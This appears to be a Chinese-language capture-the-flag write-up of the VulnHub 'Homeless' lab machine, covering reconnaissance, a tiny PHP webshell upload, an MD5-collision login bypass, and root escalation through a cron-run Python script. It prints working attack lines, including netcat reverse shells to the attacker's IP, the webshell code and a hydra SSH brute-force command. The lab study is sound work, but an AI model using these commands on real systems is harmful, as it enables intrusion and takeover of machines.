前言

本次靶机难度中等,还是长了很多见识,值得学习

环境准备

下载Homeless靶机:https://download.vulnhub.com/homeless/Homeless.zip

下载好后解压,如果安装好了vmware直接单击ova文件,用vmware运行安装即可

主机:kali linux 222.182.111.129

靶机 : Homeless靶机

辅助:windows 222.182.111.1

目标:拿下靶机root权限和里面的flag

信息收集

1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)

扫描同网段下其余存活主机:

nmap -sP 222.182.111.1/24

222.182.111.1为网关地址,222.182.111.254为虚拟机分配ip的结束地址,222.182.111.129为kali地址,所以确定靶机ip为222.182.111.139

2.扫描靶机确定端口及服务

nmap -A -p- 222.182.111.139

可以看到开放了22(ssh)、80(http)这2个端口

构造User-Agent

80端口起手

看起来有些像鸡汤文,但是没有什么有用的,爆破到robots.txt

这是暗示我们kali下的rockyou字典吗?现在也用不了啊,先放着吧

回到主页面,发现一个奇怪的地方,往下翻时看到了这个:

这不是User-Agent吗?怎么会放在这种地方

查看源代码

发现直接把User-Agent打印了出来,并且提示我们Please check carefull.... Good luck!

估计这就是突破口了

除此之外还发现几张图片,先放着吧。

既然我们的上传的User-Agent会被打印出来,那我们就试试其他User-Agent,看能否打印出来

这里我们使用curl工具,因为该工具有一个-A参数可以自定义User-Agent

curl -A "hellojlzj" http://222.182.111.139 #自定义User-Agent为hellojlzj

可以看到成功将我们上传的User-Agent打印了出来

但是好像没什么其他返回,猜测是验证了我们上传的User-Agent,如果不是它想要的,就直接打印出来

所以我们需要找到一个它需要的User-Agent上传

这时候想起来还有几张照片,我们看看favicon.jpg是什么

看起来是一直有些忧伤的狗狗,真是印证Homeless的主题,看到图片顶部有一行标题,说实话,是真难看清,试了很多种

cyberrdog slerting Portal
cyberrdog slerding Portal
cyberdog slerting Portal
cyberdog slerting Point
cyberdog slerding Portal
cyberdog slerding Point

发现只要User-Agent中带有cyberdog,就能拿到重要信息

curl -A "cyberrdog slerting Porl" http://222.182.111.139

curl -A "cyberdog slerting Porl" http://222.182.111.139

提示:Nice Cache!.. Go there.. myuploader_priv

文件上传

这有一个路径/myuploader_priv

嘿嘿,那我们尝试上传马,发现对文件大小有限制

经过一番测试,发现以下信息:

可以上传任意后缀文件
文件大小必须小于8bytes
新上传的文件会覆盖之前上传的文件

我们必须构造一个足够小的php文件

构造如下代码写入jlzj.php

<?=`ls`;                   #这句代码在php里等同于<?php echo `ls`;?>  ,是这段代码的缩写

写入完成,发现刚好8字节

nice,拿去上传,发现上传成功,并且路径也暴露出来为/files/jlzj.php

我们访问jlzj.php,会解析里面的ls命令,查看有哪些文件

可以看到有一个可疑txt文件,访问看看

发现一行密文,各种解密解不出来,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad

这就是这一个目录吗,直接访问不就完事儿了

基于全等的MD5碰撞绕过

一个登陆页面,毫无操作空间,突然看到右上角need Hint?我英语不好,还是知道Hint是暗示的意思

点击下载一个index.php.bak备份文件,notepad++看看

是登录页面的后台代码,看来需要思考思考如何绕过

重点在于这里

要求我们POST的username,password,code值不能相同,但是md5必须类型和值都相等才能重定向到admin.php

说到这里,大家可能想到ctf里常用的md5 compare漏洞,但是注意,这里是全等(===),相信大家都知道=====的区别,全等于会检查类型和值。

所以会比较md5(username),md5(password),md5(code)类型和值,双等于存在漏洞的原因其实是,0E开头的MD5值php解析器会解析为numerical strings,在双等于(==)情况下,会先判断类型,识别为numerical strings,会强制转换为数字,所以0e开头的MD5值都为0,所以才能绕过,然而三等于就比较有脾气了,必须一对一的核对两个字符串,不存在什么类型转换问题,所以开头0e相同,后面不同,也就不满足了

那这时大家肯定会说:那就用数组绕过,反正大家都解析为NULL,然而并不行

返回Your input can not be the same说明三个值相等了,因为三个值都进行了string强制类型转换

那就没办法绕过了吗?当然有

这里使用一个md5快速碰撞工具fastcoll(下载链接附在文末),以及文件hash查看命令certutil -hashfile

我们先使用fastcoll将一个notepad++.exe文件生成为另外两个不同的notepad++1.exe,notepad++2.exe

生成成功

然后我们用certutil命令看看这两个文件的SHA1的值一不一样

certutil -hashfile D:\notepad++1.exe SHA1
certutil -hashfile D:\notepad++2.exe SHA1

两个exe文件的SHA1值不相同,说明这两个文件不同,但是我们看看他们的MD5值呢?

certutil -hashfile D:\notepad++1.exe MD5
certutil -hashfile D:\notepad++2.exe MD5

MD5值竟然相同,说明我们MD5算法还是存在缺陷的

但是问题依旧存在,本次靶机要求三个MD5相同的文件,而fastcoll工具只能一次性生成两个文件,只有这两个文件的MD5值相同,所以这里我们需要借助一个工具tail.exe(windows下的tail命令,用于查看文件内容,并且可将指定长度内容输出到另一文件,下载链接放在文末)以及windows下的type命令

本次过程在windows cmd.exe执行,具体生成过程如下:

D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01  #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a                #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b                #同理
D:\fastcoll>type jlzj0 a > jlzj10                    #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11                    #同理写入jlzj11

到这里已经生成了jlzj00,jlzj01,jlzj10,jlzj11四个MD5相同的文件

我们看下四个文件的MD5值以及SHA1值是否满足条件

ok,满足条件,构造成功

我们用windows下的curl.exe(类似于kali curl命令,下载链接附文末)进行POST测试

curl.exe --data-urlencode username@D:\fastcoll\jlzj00 --data-urlencode password@D:\fastcoll\jlzj01 --data-urlencode code@D:\fastcoll\jlzj10 --data-urlencode "remember=1&login=Login" http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

成功跳转到admin.php,并且拿到一个session:j2fptj2a3gc083teaicfaeen45

我们用google的扩展EditThiscookie将该session值添加保存到http://222.182.111.139/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php

PS:注意,一次session只能用一次,如果会话掉了需要重新生成session,重新添加

再访问该url,访问成功

是一个命令输入框,明摆着命令执行拿shell

看来后台未对输入做任何限制

bash反弹shell

在kali中输入命令:

nc -lvp 4444

在代码执行界面输入:

nc -e /bin/bash 222.182.111.129 4444

成功拿到shell

提权

在/home目录下看到一个隐藏文件.secret_message

该文件与一个downfall用户有关,我们直接查看被限制了权限,说不定downfall才能查看

这是还记得robots.txt里面提示的rockyou字典,我们hydra爆破该用户名ssh登录试试

hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 4 222.182.111.139 ssh

我等啊等啊,发现还没爆破出来,几乎崩溃,才发现作者在vulnhub留下了提示:

密码是sec开头的,这就好办了,我们把rockyou.txt里sec开头的密码提取出来:

grep -Pao '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

然后再用pass.txt爆破,爆破成功,密码为secretlyinlove

我们用ssh登录

我们查看.secret_message的内容,发现/lib/logs目录下的homeless.py

切换到该目录就发现一句话:You have new mail in /var/mail/downfall

我们看看这份mail写的什么:

发现系统每分钟会以root权限执行命令cd /lib/logs/ && ./homeless.py

我们看看homeless.py的内容

里面有os.system函数,尝试是否可以修改脚本,利用bash反弹shell,这样一分钟系统会自动以root权限运行该脚本,反弹的shell也就是root用户的了

添加:os.system('/bin/nc -e /bin/bash 222.182.111.129 4444'),这里我登录了ssh之后,关掉了之前的shell,所以还是用的4444端口监听,端口只要对应就行了

(注意#!/usr/bin/env python)添加完后homeless.py内容如图:

在kali上开启nc监听,等待系统自动执行脚本,拿到root权限

获取flag.txt

总结

我认为本次靶机有三个难点:

1.上传小于8bytes的脚本,绕过文件大小验证几乎没有捷径

2.基于全等的MD5碰撞绕过,有三个参数,并且无法用数组绕过

3.利用系统进程提权,不耐心往下看,发现不了mail里的cd /lib/logs/ && ./homeless.py

通过这个靶机,我学到了很多,你们呢?

希望不足之处大家指正

参考链接

fastcoll下载链接:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

tail.exe下载链接:https://www.trisunsoft.com/tail-for-windows.htm

curl.exe下载链接:https://curl.haxx.se/windows/

其他参考链接:

http://www.runoob.com/linux/linux-comm-tail.html

https://blog.csdn.net/sysprogram/article/details/73753354

https://my.oschina.net/u/2310891/blog/631401

https://www.jianshu.com/p/d074f7b96e07

https://www.cnblogs.com/doseoer/p/7044344.html

源链接

Hacking more

...